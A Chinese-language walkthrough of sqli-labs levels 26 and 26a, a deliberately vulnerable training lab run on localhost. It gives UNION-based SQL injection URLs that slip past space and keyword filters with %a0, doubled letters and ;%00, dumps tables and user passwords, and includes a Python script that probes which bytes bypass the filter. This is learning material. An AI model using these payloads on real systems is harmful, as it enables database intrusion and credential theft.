sqli-labs (less-26 and less-26a)
less-26
进入26关
这里我们直接查看源代码看过滤了哪些字符
我们发现,空格,or,and以及注释符–和#都没了
这里我们可以替换
替换:如and可替换为&&,or可替换为||
空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代
mysql空白符:%09; %0A; %0B; %0D; %20;
先输入
http://127.0.0.1/sql1/Less-26/?id=1'
根据错误显示判断闭合方式为’;%00,并且为字符型注入
这里因为空格过滤了,我们使用%a0代替空格
查看回显位置
http://127.0.0.1/sql1/Less-26/?id=1111' %a0 union %a0 select %a0 1,2,3;%00
查看当前库
http://127.0.0.1/sql1/Less-26/?id=1111' %a0 union %a0 select %a0 1,2,database();%00
查看security库下的所有表,有些位置的空格我们利用括号把参数全部包裹起来,也可以使用%a0代替空格,还要注意输入参数含有or问题
http://127.0.0.1/sql1/Less-26/?id=1111' %a0 union %a0 select %a0 1,2,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security'));%00
查看users表下的所有字段
http://127.0.0.1/sql1/Less-26/?id=1111' %a0 union %a0 select %a0 1,2,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'));%00
查看username,password字段的值
http://127.0.0.1/sql1/Less-26/?id=1111' %a0 union %a0 select %a0 1,2,(select (group_concat(username,passwoorrd)) from (security.users));%00
less-26a
输入
http://127.0.0.1/sql1/Less-26a/?id=1');%00 #回显正常
判断闭合方式为’);%00,并且为字符型注入
下面的与less-26完全一致,这里不具体介绍,注意替换空格,注入输入字符是否含有or或者and字段
使用脚本判断哪些字符能用
这关我们发现可以使用%a0代替空格,还有很多特殊符号都是可以代替空格的,这里我们可以通过python脚本来判断
# -*- encoding: utf-8 -*-
import requests
for i in range(0, 256):
#print(i)
code = hex(i).replace('0x', '')
if len(code) < 2:
code = "0" + code
code_0x = "%" + code
#print(code_0x)
url = "http://127.0.0.1/sql1/Less-26/?id=1'" + code_0x + "%26%26" + code_0x + "'1'='1"
r = requests.get(url=url)
if "Dumb" in r.content.decode("utf-8","ignore"):
print(code_0x)